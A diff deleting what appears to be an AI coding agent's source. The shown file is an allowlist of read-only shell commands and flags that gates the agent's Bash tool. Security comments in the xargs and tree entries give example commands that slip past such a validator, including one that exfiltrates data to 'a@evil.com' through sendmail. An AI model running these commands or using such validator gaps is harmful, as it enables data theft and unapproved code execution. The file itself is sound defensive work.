  2060. package/src/utils/telemetry/bigqueryExporter.ts +0 -252
  2061. package/src/utils/telemetry/events.ts +0 -75
  2062. package/src/utils/telemetry/instrumentation.ts +0 -825
  2063. package/src/utils/telemetry/logger.ts +0 -26
  2064. package/src/utils/telemetry/perfettoTracing.ts +0 -1120
  2065. package/src/utils/telemetry/pluginTelemetry.ts +0 -289
  2066. package/src/utils/telemetry/sessionTracing.ts +0 -927
  2067. package/src/utils/telemetry/skillLoadedEvent.ts +0 -39
  2068. package/src/utils/telemetryAttributes.ts +0 -71
  2069. package/src/utils/teleport/api.ts +0 -466
  2070. package/src/utils/teleport/environmentSelection.ts +0 -77
  2071. package/src/utils/teleport/environments.ts +0 -120
  2072. package/src/utils/teleport/gitBundle.ts +0 -292
  2073. package/src/utils/teleport.tsx +0 -1226
  2074. package/src/utils/tempfile.ts +0 -31
  2075. package/src/utils/terminal.ts +0 -131
  2076. package/src/utils/terminalPanel.ts +0 -191
  2077. package/src/utils/textHighlighting.ts +0 -166
  2078. package/src/utils/theme.ts +0 -639
  2079. package/src/utils/thinking.ts +0 -162
  2080. package/src/utils/timeouts.ts +0 -39
  2081. package/src/utils/tmuxSocket.ts +0 -427
  2082. package/src/utils/todo/types.ts +0 -18
  2083. package/src/utils/tokenBudget.ts +0 -73
  2084. package/src/utils/tokens.ts +0 -261
  2085. package/src/utils/toolErrors.ts +0 -132
  2086. package/src/utils/toolPool.ts +0 -79
  2087. package/src/utils/toolResultStorage.ts +0 -1040
  2088. package/src/utils/toolSchemaCache.ts +0 -26
  2089. package/src/utils/toolSearch.ts +0 -756
  2090. package/src/utils/transcriptSearch.ts +0 -202
  2091. package/src/utils/treeify.ts +0 -170
  2092. package/src/utils/truncate.ts +0 -179
  2093. package/src/utils/udsClient.ts +0 -2
  2094. package/src/utils/udsMessaging.ts +0 -2
  2095. package/src/utils/ultraplan/ccrSession.ts +0 -349
  2096. package/src/utils/ultraplan/keyword.ts +0 -127
  2097. package/src/utils/ultraplan/prompt.txt +0 -1
  2098. package/src/utils/unaryLogging.ts +0 -39
  2099. package/src/utils/undercover.ts +0 -89
  2100. package/src/utils/user.ts +0 -194
  2101. package/src/utils/userAgent.ts +0 -10
  2102. package/src/utils/userPromptKeywords.ts +0 -27
  2103. package/src/utils/uuid.ts +0 -27
  2104. package/src/utils/warningHandler.ts +0 -121
  2105. package/src/utils/which.ts +0 -82
  2106. package/src/utils/windowsPaths.ts +0 -173
  2107. package/src/utils/withResolvers.ts +0 -13
  2108. package/src/utils/words.ts +0 -800
  2109. package/src/utils/workloadContext.ts +0 -57
  2110. package/src/utils/worktree.ts +0 -1519
  2111. package/src/utils/worktreeModeEnabled.ts +0 -11
  2112. package/src/utils/xdg.ts +0 -65
  2113. package/src/utils/xml.ts +0 -16
  2114. package/src/utils/yaml.ts +0 -15
  2115. package/src/utils/zodToJsonSchema.ts +0 -23
  2116. package/src/vim/motions.ts +0 -82
  2117. package/src/vim/operators.ts +0 -556
  2118. package/src/vim/textObjects.ts +0 -186
  2119. package/src/vim/transitions.ts +0 -490
  2120. package/src/vim/types.ts +0 -199
  2121. package/src/voice/voiceModeEnabled.ts +0 -54
  2122. package/stubs/@ant/claude-for-chrome-mcp/index.js +0 -4
  2123. package/stubs/@ant/claude-for-chrome-mcp/index.ts +0 -4
  2124. package/stubs/@ant/claude-for-chrome-mcp/package.json +0 -6
  2125. package/stubs/@ant/computer-use-input/index.js +0 -2
  2126. package/stubs/@ant/computer-use-input/index.ts +0 -3
  2127. package/stubs/@ant/computer-use-input/package.json +0 -6
  2128. package/stubs/@ant/computer-use-mcp/index.js +0 -5
  2129. package/stubs/@ant/computer-use-mcp/index.ts +0 -5
  2130. package/stubs/@ant/computer-use-mcp/package.json +0 -11
  2131. package/stubs/@ant/computer-use-mcp/sentinelApps.js +0 -3
  2132. package/stubs/@ant/computer-use-mcp/sentinelApps.ts +0 -3
  2133. package/stubs/@ant/computer-use-mcp/types.js +0 -2
  2134. package/stubs/@ant/computer-use-mcp/types.ts +0 -6
  2135. package/stubs/@ant/computer-use-swift/index.js +0 -2
  2136. package/stubs/@ant/computer-use-swift/index.ts +0 -2
  2137. package/stubs/@ant/computer-use-swift/package.json +0 -6
  2138. package/stubs/@anthropic-ai/claude-agent-sdk/index.js +0 -2
  2139. package/stubs/@anthropic-ai/claude-agent-sdk/index.ts +0 -2
  2140. package/stubs/@anthropic-ai/claude-agent-sdk/package.json +0 -6
  2141. package/stubs/@anthropic-ai/mcpb/index.js +0 -2
  2142. package/stubs/@anthropic-ai/mcpb/index.ts +0 -3
  2143. package/stubs/@anthropic-ai/mcpb/package.json +0 -6
  2144. package/stubs/@anthropic-ai/sandbox-runtime/index.js +0 -42
  2145. package/stubs/@anthropic-ai/sandbox-runtime/index.ts +0 -49
  2146. package/stubs/@anthropic-ai/sandbox-runtime/package.json +0 -6
  2147. package/stubs/globals.ts +0 -11
  2148. package/stubs/macro.d.ts +0 -9
  2149. package/tsconfig.json +0 -28
@@ -1,1990 +0,0 @@
1
- import type { z } from 'zod/v4'
2
- import { getOriginalCwd } from '../../bootstrap/state.js'
3
- import {
4
- extractOutputRedirections,
5
- splitCommand_DEPRECATED,
6
- } from '../../utils/bash/commands.js'
7
- import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
8
- import { getCwd } from '../../utils/cwd.js'
9
- import { isCurrentDirectoryBareGitRepo } from '../../utils/git.js'
10
- import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
11
- import { getPlatform } from '../../utils/platform.js'
12
- import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
13
- import {
14
- containsVulnerableUncPath,
15
- DOCKER_READ_ONLY_COMMANDS,
16
- EXTERNAL_READONLY_COMMANDS,
17
- type FlagArgType,
18
- GH_READ_ONLY_COMMANDS,
19
- GIT_READ_ONLY_COMMANDS,
20
- PYRIGHT_READ_ONLY_COMMANDS,
21
- RIPGREP_READ_ONLY_COMMANDS,
22
- validateFlags,
23
- } from '../../utils/shell/readOnlyCommandValidation.js'
24
- import type { BashTool } from './BashTool.js'
25
- import { isNormalizedGitCommand } from './bashPermissions.js'
26
- import { bashCommandIsSafe_DEPRECATED } from './bashSecurity.js'
27
- import {
28
- COMMAND_OPERATION_TYPE,
29
- PATH_EXTRACTORS,
30
- type PathCommand,
31
- } from './pathValidation.js'
32
- import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
33
-
34
- // Unified command validation configuration system
35
- type CommandConfig = {
36
- // A Record mapping from the command (e.g. `xargs` or `git diff`) to its safe flags and the values they accept
37
- safeFlags: Record<string, FlagArgType>
38
- // An optional regex that is used for additional validation beyond flag parsing
39
- regex?: RegExp
40
- // An optional callback for additional custom validation logic. Returns true if the command is dangerous,
41
- // false if it appears to be safe. Meant to be used in conjunction with the safeFlags-based validation.
42
- additionalCommandIsDangerousCallback?: (
43
- rawCommand: string,
44
- args: string[],
45
- ) => boolean
46
- // When false, the tool does NOT respect POSIX `--` end-of-options.
47
- // validateFlags will continue checking flags after `--` instead of breaking.
48
- // Default: true (most tools respect `--`).
49
- respectsDoubleDash?: boolean
50
- }
51
-
52
- // Shared safe flags for fd and fdfind (Debian/Ubuntu package name)
53
- // SECURITY: -x/--exec and -X/--exec-batch are deliberately excluded —
54
- // they execute arbitrary commands for each search result.
55
- const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
56
- '-h': 'none',
57
- '--help': 'none',
58
- '-V': 'none',
59
- '--version': 'none',
60
- '-H': 'none',
61
- '--hidden': 'none',
62
- '-I': 'none',
63
- '--no-ignore': 'none',
64
- '--no-ignore-vcs': 'none',
65
- '--no-ignore-parent': 'none',
66
- '-s': 'none',
67
- '--case-sensitive': 'none',
68
- '-i': 'none',
69
- '--ignore-case': 'none',
70
- '-g': 'none',
71
- '--glob': 'none',
72
- '--regex': 'none',
73
- '-F': 'none',
74
- '--fixed-strings': 'none',
75
- '-a': 'none',
76
- '--absolute-path': 'none',
77
- // SECURITY: -l/--list-details EXCLUDED — internally executes `ls` as subprocess (same
78
- // pathway as --exec-batch). PATH hijacking risk if malicious `ls` is on PATH.
79
- '-L': 'none',
80
- '--follow': 'none',
81
- '-p': 'none',
82
- '--full-path': 'none',
83
- '-0': 'none',
84
- '--print0': 'none',
85
- '-d': 'number',
86
- '--max-depth': 'number',
87
- '--min-depth': 'number',
88
- '--exact-depth': 'number',
89
- '-t': 'string',
90
- '--type': 'string',
91
- '-e': 'string',
92
- '--extension': 'string',
93
- '-S': 'string',
94
- '--size': 'string',
95
- '--changed-within': 'string',
96
- '--changed-before': 'string',
97
- '-o': 'string',
98
- '--owner': 'string',
99
- '-E': 'string',
100
- '--exclude': 'string',
101
- '--ignore-file': 'string',
102
- '-c': 'string',
103
- '--color': 'string',
104
- '-j': 'number',
105
- '--threads': 'number',
106
- '--max-buffer-time': 'string',
107
- '--max-results': 'number',
108
- '-1': 'none',
109
- '-q': 'none',
110
- '--quiet': 'none',
111
- '--show-errors': 'none',
112
- '--strip-cwd-prefix': 'none',
113
- '--one-file-system': 'none',
114
- '--prune': 'none',
115
- '--search-path': 'string',
116
- '--base-directory': 'string',
117
- '--path-separator': 'string',
118
- '--batch-size': 'number',
119
- '--no-require-git': 'none',
120
- '--hyperlink': 'string',
121
- '--and': 'string',
122
- '--format': 'string',
123
- }
124
-
125
- // Central configuration for allowlist-based command validation
126
- // All commands and flags here should only allow reading files. They should not
127
- // allow writing to files, executing code, or creating network requests.
128
- const COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
129
- xargs: {
130
- safeFlags: {
131
- '-I': '{}',
132
- // SECURITY: `-i` and `-e` (lowercase) REMOVED — both use GNU getopt
133
- // optional-attached-arg semantics (`i::`, `e::`). The arg MUST be
134
- // attached (`-iX`, `-eX`); space-separated (`-i X`, `-e X`) means the
135
- // flag takes NO arg and `X` becomes the next positional (target command).
136
- //
137
- // `-i` (`i::` — optional replace-str):
138
- // echo /usr/sbin/sendm | xargs -it tail a@evil.com
139
- // validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
140
- // GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
141
- //
142
- // `-e` (`e::` — optional eof-str):
143
- // cat data | xargs -e EOF echo foo
144
- // validator: -e consumes 'EOF' as arg (type 'EOF'), echo ∈ SAFE_TARGET
145
- // GNU: -e no attached arg → no eof-str, 'EOF' is the TARGET COMMAND
146
- // → executes binary named EOF from PATH → CODE EXEC (malicious repo)
147
- //
148
- // Use uppercase `-I {}` (mandatory arg) and `-E EOF` (POSIX, mandatory
149
- // arg) instead — both validator and xargs agree on argument consumption.
150
- // `-i`/`-e` are deprecated (GNU: "use -I instead" / "use -E instead").
151
- '-n': 'number',
152
- '-P': 'number',
153
- '-L': 'number',
154
- '-s': 'number',
155
- '-E': 'EOF', // POSIX, MANDATORY separate arg — validator & xargs agree
156
- '-0': 'none',
157
- '-t': 'none',
158
- '-r': 'none',
159
- '-x': 'none',
160
- '-d': 'char',
161
- },
162
- },
163
- // All git read-only commands from shared validation map
164
- ...GIT_READ_ONLY_COMMANDS,
165
- file: {
166
- safeFlags: {
167
- // Output format flags
168
- '--brief': 'none',
169
- '-b': 'none',
170
- '--mime': 'none',
171
- '-i': 'none',
172
- '--mime-type': 'none',
173
- '--mime-encoding': 'none',
174
- '--apple': 'none',
175
- // Behavior flags
176
- '--check-encoding': 'none',
177
- '-c': 'none',
178
- '--exclude': 'string',
179
- '--exclude-quiet': 'string',
180
- '--print0': 'none',
181
- '-0': 'none',
182
- '-f': 'string',
183
- '-F': 'string',
184
- '--separator': 'string',
185
- '--help': 'none',
186
- '--version': 'none',
187
- '-v': 'none',
188
- // Following/dereferencing
189
- '--no-dereference': 'none',
190
- '-h': 'none',
191
- '--dereference': 'none',
192
- '-L': 'none',
193
- // Magic file options (safe when just reading)
194
- '--magic-file': 'string',
195
- '-m': 'string',
196
- // Other safe options
197
- '--keep-going': 'none',
198
- '-k': 'none',
199
- '--list': 'none',
200
- '-l': 'none',
201
- '--no-buffer': 'none',
202
- '-n': 'none',
203
- '--preserve-date': 'none',
204
- '-p': 'none',
205
- '--raw': 'none',
206
- '-r': 'none',
207
- '-s': 'none',
208
- '--special-files': 'none',
209
- // Uncompress flag for archives
210
- '--uncompress': 'none',
211
- '-z': 'none',
212
- },
213
- },
214
- sed: {
215
- safeFlags: {
216
- // Expression flags
217
- '--expression': 'string',
218
- '-e': 'string',
219
- // Output control
220
- '--quiet': 'none',
221
- '--silent': 'none',
222
- '-n': 'none',
223
- // Extended regex
224
- '--regexp-extended': 'none',
225
- '-r': 'none',
226
- '--posix': 'none',
227
- '-E': 'none',
228
- // Line handling
229
- '--line-length': 'number',
230
- '-l': 'number',
231
- '--zero-terminated': 'none',
232
- '-z': 'none',
233
- '--separate': 'none',
234
- '-s': 'none',
235
- '--unbuffered': 'none',
236
- '-u': 'none',
237
- // Debugging/help
238
- '--debug': 'none',
239
- '--help': 'none',
240
- '--version': 'none',
241
- },
242
- additionalCommandIsDangerousCallback: (
243
- rawCommand: string,
244
- _args: string[],
245
- ) => !sedCommandIsAllowedByAllowlist(rawCommand),
246
- },
247
- sort: {
248
- safeFlags: {
249
- // Sorting options
250
- '--ignore-leading-blanks': 'none',
251
- '-b': 'none',
252
- '--dictionary-order': 'none',
253
- '-d': 'none',
254
- '--ignore-case': 'none',
255
- '-f': 'none',
256
- '--general-numeric-sort': 'none',
257
- '-g': 'none',
258
- '--human-numeric-sort': 'none',
259
- '-h': 'none',
260
- '--ignore-nonprinting': 'none',
261
- '-i': 'none',
262
- '--month-sort': 'none',
263
- '-M': 'none',
264
- '--numeric-sort': 'none',
265
- '-n': 'none',
266
- '--random-sort': 'none',
267
- '-R': 'none',
268
- '--reverse': 'none',
269
- '-r': 'none',
270
- '--sort': 'string',
271
- '--stable': 'none',
272
- '-s': 'none',
273
- '--unique': 'none',
274
- '-u': 'none',
275
- '--version-sort': 'none',
276
- '-V': 'none',
277
- '--zero-terminated': 'none',
278
- '-z': 'none',
279
- // Key specifications
280
- '--key': 'string',
281
- '-k': 'string',
282
- '--field-separator': 'string',
283
- '-t': 'string',
284
- // Checking
285
- '--check': 'none',
286
- '-c': 'none',
287
- '--check-char-order': 'none',
288
- '-C': 'none',
289
- // Merging
290
- '--merge': 'none',
291
- '-m': 'none',
292
- // Buffer size
293
- '--buffer-size': 'string',
294
- '-S': 'string',
295
- // Parallel processing
296
- '--parallel': 'number',
297
- // Batch size
298
- '--batch-size': 'number',
299
- // Help and version
300
- '--help': 'none',
301
- '--version': 'none',
302
- },
303
- },
304
- man: {
305
- safeFlags: {
306
- // Safe display options
307
- '-a': 'none', // Display all manual pages
308
- '--all': 'none', // Same as -a
309
- '-d': 'none', // Debug mode
310
- '-f': 'none', // Emulate whatis
311
- '--whatis': 'none', // Same as -f
312
- '-h': 'none', // Help
313
- '-k': 'none', // Emulate apropos
314
- '--apropos': 'none', // Same as -k
315
- '-l': 'string', // Local file (safe for reading, Linux only)
316
- '-w': 'none', // Display location instead of content
317
-
318
- // Safe formatting options
319
- '-S': 'string', // Restrict manual sections
320
- '-s': 'string', // Same as -S for whatis/apropos mode
321
- },
322
- },
323
- // help command - only allow bash builtin help flags to prevent attacks when
324
- // help is aliased to man (e.g., in oh-my-zsh common-aliases plugin).
325
- // man's -P flag allows arbitrary command execution via pager.
326
- help: {
327
- safeFlags: {
328
- '-d': 'none', // Output short description for each topic
329
- '-m': 'none', // Display usage in pseudo-manpage format
330
- '-s': 'none', // Output only a short usage synopsis
331
- },
332
- },
333
- netstat: {
334
- safeFlags: {
335
- // Safe display options
336
- '-a': 'none', // Show all sockets
337
- '-L': 'none', // Show listen queue sizes
338
- '-l': 'none', // Print full IPv6 address
339
- '-n': 'none', // Show network addresses as numbers
340
-
341
- // Safe filtering options
342
- '-f': 'string', // Address family (inet, inet6, unix, vsock)
343
-
344
- // Safe interface options
345
- '-g': 'none', // Show multicast group membership
346
- '-i': 'none', // Show interface state
347
- '-I': 'string', // Specific interface
348
-
349
- // Safe statistics options
350
- '-s': 'none', // Show per-protocol statistics
351
-
352
- // Safe routing options
353
- '-r': 'none', // Show routing tables
354
-
355
- // Safe mbuf options
356
- '-m': 'none', // Show memory management statistics
357
-
358
- // Safe other options
359
- '-v': 'none', // Increase verbosity
360
- },
361
- },
362
- ps: {
363
- safeFlags: {
364
- // UNIX-style process selection (these are safe)
365
- '-e': 'none', // Select all processes
366
- '-A': 'none', // Select all processes (same as -e)
367
- '-a': 'none', // Select all with tty except session leaders
368
- '-d': 'none', // Select all except session leaders
369
- '-N': 'none', // Negate selection
370
- '--deselect': 'none',
371
-
372
- // UNIX-style output format (safe, doesn't show env)
373
- '-f': 'none', // Full format
374
- '-F': 'none', // Extra full format
375
- '-l': 'none', // Long format
376
- '-j': 'none', // Jobs format
377
- '-y': 'none', // Don't show flags
378
-
379
- // Output modifiers (safe ones)
380
- '-w': 'none', // Wide output
381
- '-ww': 'none', // Unlimited width
382
- '--width': 'number',
383
- '-c': 'none', // Show scheduler info
384
- '-H': 'none', // Show process hierarchy
385
- '--forest': 'none',
386
- '--headers': 'none',
387
- '--no-headers': 'none',
388
- '-n': 'string', // Set namelist file
389
- '--sort': 'string',
390
-
391
- // Thread display
392
- '-L': 'none', // Show threads
393
- '-T': 'none', // Show threads
394
- '-m': 'none', // Show threads after processes
395
-
396
- // Process selection by criteria
397
- '-C': 'string', // By command name
398
- '-G': 'string', // By real group ID
399
- '-g': 'string', // By session or effective group
400
- '-p': 'string', // By PID
401
- '--pid': 'string',
402
- '-q': 'string', // Quick mode by PID
403
- '--quick-pid': 'string',
404
- '-s': 'string', // By session ID
405
- '--sid': 'string',
406
- '-t': 'string', // By tty
407
- '--tty': 'string',
408
- '-U': 'string', // By real user ID
409
- '-u': 'string', // By effective user ID
410
- '--user': 'string',
411
-
412
- // Help/version
413
- '--help': 'none',
414
- '--info': 'none',
415
- '-V': 'none',
416
- '--version': 'none',
417
- },
418
- // Block BSD-style 'e' modifier which shows environment variables
419
- // BSD options are letter-only tokens without a leading dash
420
- additionalCommandIsDangerousCallback: (
421
- _rawCommand: string,
422
- args: string[],
423
- ) => {
424
- // Check for BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
425
- // A BSD-style option is a token of only letters (no leading dash) containing 'e'
426
- return args.some(
427
- a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a),
428
- )
429
- },
430
- },
431
- base64: {
432
- respectsDoubleDash: false, // macOS base64 does not respect POSIX --
433
- safeFlags: {
434
- // Safe decode options
435
- '-d': 'none', // Decode
436
- '-D': 'none', // Decode (macOS)
437
- '--decode': 'none', // Decode
438
-
439
- // Safe formatting options
440
- '-b': 'number', // Break lines at num (macOS)
441
- '--break': 'number', // Break lines at num (macOS)
442
- '-w': 'number', // Wrap lines at COLS (Linux)
443
- '--wrap': 'number', // Wrap lines at COLS (Linux)
444
-
445
- // Safe input options (read from file, not write)
446
- '-i': 'string', // Input file (safe for reading)
447
- '--input': 'string', // Input file (safe for reading)
448
-
449
- // Safe misc options
450
- '--ignore-garbage': 'none', // Ignore non-alphabet chars when decoding (Linux)
451
- '-h': 'none', // Help
452
- '--help': 'none', // Help
453
- '--version': 'none', // Version
454
- },
455
- },
456
- grep: {
457
- safeFlags: {
458
- // Pattern flags
459
- '-e': 'string', // Pattern
460
- '--regexp': 'string',
461
- '-f': 'string', // File with patterns
462
- '--file': 'string',
463
- '-F': 'none', // Fixed strings
464
- '--fixed-strings': 'none',
465
- '-G': 'none', // Basic regexp (default)
466
- '--basic-regexp': 'none',
467
- '-E': 'none', // Extended regexp
468
- '--extended-regexp': 'none',
469
- '-P': 'none', // Perl regexp
470
- '--perl-regexp': 'none',
471
-
472
- // Matching control
473
- '-i': 'none', // Ignore case
474
- '--ignore-case': 'none',
475
- '--no-ignore-case': 'none',
476
- '-v': 'none', // Invert match
477
- '--invert-match': 'none',
478
- '-w': 'none', // Word regexp
479
- '--word-regexp': 'none',
480
- '-x': 'none', // Line regexp
481
- '--line-regexp': 'none',
482
-
483
- // Output control
484
- '-c': 'none', // Count
485
- '--count': 'none',
486
- '--color': 'string',
487
- '--colour': 'string',
488
- '-L': 'none', // Files without match
489
- '--files-without-match': 'none',
490
- '-l': 'none', // Files with matches
491
- '--files-with-matches': 'none',
492
- '-m': 'number', // Max count
493
- '--max-count': 'number',
494
- '-o': 'none', // Only matching
495
- '--only-matching': 'none',
496
- '-q': 'none', // Quiet
497
- '--quiet': 'none',
498
- '--silent': 'none',
499
- '-s': 'none', // No messages
500
- '--no-messages': 'none',
501
-
502
- // Output line prefix
503
- '-b': 'none', // Byte offset
504
- '--byte-offset': 'none',
505
- '-H': 'none', // With filename
506
- '--with-filename': 'none',
507
- '-h': 'none', // No filename
508
- '--no-filename': 'none',
509
- '--label': 'string',
510
- '-n': 'none', // Line number
511
- '--line-number': 'none',
512
- '-T': 'none', // Initial tab
513
- '--initial-tab': 'none',
514
- '-u': 'none', // Unix byte offsets
515
- '--unix-byte-offsets': 'none',
516
- '-Z': 'none', // Null after filename
517
- '--null': 'none',
518
- '-z': 'none', // Null data
519
- '--null-data': 'none',
520
-
521
- // Context control
522
- '-A': 'number', // After context
523
- '--after-context': 'number',
524
- '-B': 'number', // Before context
525
- '--before-context': 'number',
526
- '-C': 'number', // Context
527
- '--context': 'number',
528
- '--group-separator': 'string',
529
- '--no-group-separator': 'none',
530
-
531
- // File and directory selection
532
- '-a': 'none', // Text (process binary as text)
533
- '--text': 'none',
534
- '--binary-files': 'string',
535
- '-D': 'string', // Devices
536
- '--devices': 'string',
537
- '-d': 'string', // Directories
538
- '--directories': 'string',
539
- '--exclude': 'string',
540
- '--exclude-from': 'string',
541
- '--exclude-dir': 'string',
542
- '--include': 'string',
543
- '-r': 'none', // Recursive
544
- '--recursive': 'none',
545
- '-R': 'none', // Dereference-recursive
546
- '--dereference-recursive': 'none',
547
-
548
- // Other options
549
- '--line-buffered': 'none',
550
- '-U': 'none', // Binary
551
- '--binary': 'none',
552
-
553
- // Help and version
554
- '--help': 'none',
555
- '-V': 'none',
556
- '--version': 'none',
557
- },
558
- },
559
- ...RIPGREP_READ_ONLY_COMMANDS,
560
- // Checksum commands - these only read files and compute/verify hashes
561
- // All flags are safe as they only affect output format or verification behavior
562
- sha256sum: {
563
- safeFlags: {
564
- // Mode flags
565
- '-b': 'none', // Binary mode
566
- '--binary': 'none',
567
- '-t': 'none', // Text mode
568
- '--text': 'none',
569
-
570
- // Check/verify flags
571
- '-c': 'none', // Verify checksums from file
572
- '--check': 'none',
573
- '--ignore-missing': 'none', // Ignore missing files during check
574
- '--quiet': 'none', // Quiet mode during check
575
- '--status': 'none', // Don't output, exit code shows success
576
- '--strict': 'none', // Exit non-zero for improperly formatted lines
577
- '-w': 'none', // Warn about improperly formatted lines
578
- '--warn': 'none',
579
-
580
- // Output format flags
581
- '--tag': 'none', // BSD-style output
582
- '-z': 'none', // End output lines with NUL
583
- '--zero': 'none',
584
-
585
- // Help and version
586
- '--help': 'none',
587
- '--version': 'none',
588
- },
589
- },
590
- sha1sum: {
591
- safeFlags: {
592
- // Mode flags
593
- '-b': 'none', // Binary mode
594
- '--binary': 'none',
595
- '-t': 'none', // Text mode
596
- '--text': 'none',
597
-
598
- // Check/verify flags
599
- '-c': 'none', // Verify checksums from file
600
- '--check': 'none',
601
- '--ignore-missing': 'none', // Ignore missing files during check
602
- '--quiet': 'none', // Quiet mode during check
603
- '--status': 'none', // Don't output, exit code shows success
604
- '--strict': 'none', // Exit non-zero for improperly formatted lines
605
- '-w': 'none', // Warn about improperly formatted lines
606
- '--warn': 'none',
607
-
608
- // Output format flags
609
- '--tag': 'none', // BSD-style output
610
- '-z': 'none', // End output lines with NUL
611
- '--zero': 'none',
612
-
613
- // Help and version
614
- '--help': 'none',
615
- '--version': 'none',
616
- },
617
- },
618
- md5sum: {
619
- safeFlags: {
620
- // Mode flags
621
- '-b': 'none', // Binary mode
622
- '--binary': 'none',
623
- '-t': 'none', // Text mode
624
- '--text': 'none',
625
-
626
- // Check/verify flags
627
- '-c': 'none', // Verify checksums from file
628
- '--check': 'none',
629
- '--ignore-missing': 'none', // Ignore missing files during check
630
- '--quiet': 'none', // Quiet mode during check
631
- '--status': 'none', // Don't output, exit code shows success
632
- '--strict': 'none', // Exit non-zero for improperly formatted lines
633
- '-w': 'none', // Warn about improperly formatted lines
634
- '--warn': 'none',
635
-
636
- // Output format flags
637
- '--tag': 'none', // BSD-style output
638
- '-z': 'none', // End output lines with NUL
639
- '--zero': 'none',
640
-
641
- // Help and version
642
- '--help': 'none',
643
- '--version': 'none',
644
- },
645
- },
646
- // tree command - moved from READONLY_COMMAND_REGEXES to allow flags and path arguments
647
- // -o/--output writes to a file, so it's excluded. All other flags are display/filter options.
648
- tree: {
649
- safeFlags: {
650
- // Listing options
651
- '-a': 'none', // All files
652
- '-d': 'none', // Directories only
653
- '-l': 'none', // Follow symlinks
654
- '-f': 'none', // Full path prefix
655
- '-x': 'none', // Stay on current filesystem
656
- '-L': 'number', // Max depth
657
- // SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
658
- // WRITES 00Tree.html files to every subdirectory at the depth boundary.
659
- // From man tree (< 2.1.0): "-R — at each of them execute tree again
660
- // adding `-o 00Tree.html` as a new option." The comment "Rerun at max
661
- // depth" was misleading — the "rerun" includes a hardcoded -o file write.
662
- // `tree -R -H . -L 2 /path` → writes /path/<subdir>/00Tree.html for each
663
- // subdir at depth 2. FILE WRITE, zero permissions.
664
- '-P': 'string', // Include pattern
665
- '-I': 'string', // Exclude pattern
666
- '--gitignore': 'none',
667
- '--gitfile': 'string',
668
- '--ignore-case': 'none',
669
- '--matchdirs': 'none',
670
- '--metafirst': 'none',
671
- '--prune': 'none',
672
- '--info': 'none',
673
- '--infofile': 'string',
674
- '--noreport': 'none',
675
- '--charset': 'string',
676
- '--filelimit': 'number',
677
- // File display options
678
- '-q': 'none', // Non-printable as ?
679
- '-N': 'none', // Non-printable as-is
680
- '-Q': 'none', // Quote filenames
681
- '-p': 'none', // Protections
682
- '-u': 'none', // Owner
683
- '-g': 'none', // Group
684
- '-s': 'none', // Size bytes
685
- '-h': 'none', // Human-readable sizes
686
- '--si': 'none',
687
- '--du': 'none',
688
- '-D': 'none', // Last modification time
689
- '--timefmt': 'string',
690
- '-F': 'none', // Append indicator
691
- '--inodes': 'none',
692
- '--device': 'none',
693
- // Sorting options
694
- '-v': 'none', // Version sort
695
- '-t': 'none', // Sort by mtime
696
- '-c': 'none', // Sort by ctime
697
- '-U': 'none', // Unsorted
698
- '-r': 'none', // Reverse sort
699
- '--dirsfirst': 'none',
700
- '--filesfirst': 'none',
701
- '--sort': 'string',
702
- // Graphics/output options
703
- '-i': 'none', // No indentation lines
704
- '-A': 'none', // ANSI line graphics
705
- '-S': 'none', // CP437 line graphics
706
- '-n': 'none', // No color
707
- '-C': 'none', // Color
708
- '-X': 'none', // XML output
709
- '-J': 'none', // JSON output
710
- '-H': 'string', // HTML output with base HREF
711
- '--nolinks': 'none',
712
- '--hintro': 'string',
713
- '--houtro': 'string',
714
- '-T': 'string', // HTML title
715
- '--hyperlink': 'none',
716
- '--scheme': 'string',
717
- '--authority': 'string',
718
- // Input options (read from file, not write)
719
- '--fromfile': 'none',
720
- '--fromtabfile': 'none',
721
- '--fflinks': 'none',
722
- // Help and version
723
- '--help': 'none',
724
- '--version': 'none',
725
- },
726
- },
727
- // date command - moved from READONLY_COMMANDS because -s/--set can set system time
728
- // Also -f/--file can be used to read dates from file and set time
729
- // We only allow safe display options
730
- date: {
731
- safeFlags: {
732
- // Display options (safe - don't modify system time)
733
- '-d': 'string', // --date=STRING - display time described by STRING
734
- '--date': 'string',
735
- '-r': 'string', // --reference=FILE - display file's modification time
736
- '--reference': 'string',
737
- '-u': 'none', // --utc - use UTC
738
- '--utc': 'none',
739
- '--universal': 'none',
740
- // Output format options
741
- '-I': 'none', // --iso-8601 (can have optional argument, but none type handles bare flag)
742
- '--iso-8601': 'string',
743
- '-R': 'none', // --rfc-email
744
- '--rfc-email': 'none',
745
- '--rfc-3339': 'string',
746
- // Debug/help
747
- '--debug': 'none',
748
- '--help': 'none',
749
- '--version': 'none',
750
- },
751
- // Dangerous flags NOT included (blocked by omission):
752
- // -s / --set - sets system time
753
- // -f / --file - reads dates from file (can be used to set time in batch)
754
- // CRITICAL: date positional args in format MMDDhhmm[[CC]YY][.ss] set system time
755
- // Use callback to verify positional args start with + (format strings like +"%Y-%m-%d")
756
- additionalCommandIsDangerousCallback: (
757
- _rawCommand: string,
758
- args: string[],
759
- ) => {
760
- // args are already parsed tokens after "date"
761
- // Flags that require an argument
762
- const flagsWithArgs = new Set([
763
- '-d',
764
- '--date',
765
- '-r',
766
- '--reference',
767
- '--iso-8601',
768
- '--rfc-3339',
769
- ])
770
- let i = 0
771
- while (i < args.length) {
772
- const token = args[i]!
773
- // Skip flags and their arguments
774
- if (token.startsWith('--') && token.includes('=')) {
775
- // Long flag with =value, already consumed
776
- i++
777
- } else if (token.startsWith('-')) {
778
- // Flag - check if it takes an argument
779
- if (flagsWithArgs.has(token)) {
780
- i += 2 // Skip flag and its argument
781
- } else {
782
- i++ // Just skip the flag
783
- }
784
- } else {
785
- // Positional argument - must start with + for format strings
786
- // Anything else (like MMDDhhmm) could set system time
787
- if (!token.startsWith('+')) {
788
- return true // Dangerous
789
- }
790
- i++
791
- }
792
- }
793
- return false // Safe
794
- },
795
- },
796
- // hostname command - moved from READONLY_COMMANDS because positional args set hostname
797
- // Also -F/--file sets hostname from file, -b/--boot sets default hostname
798
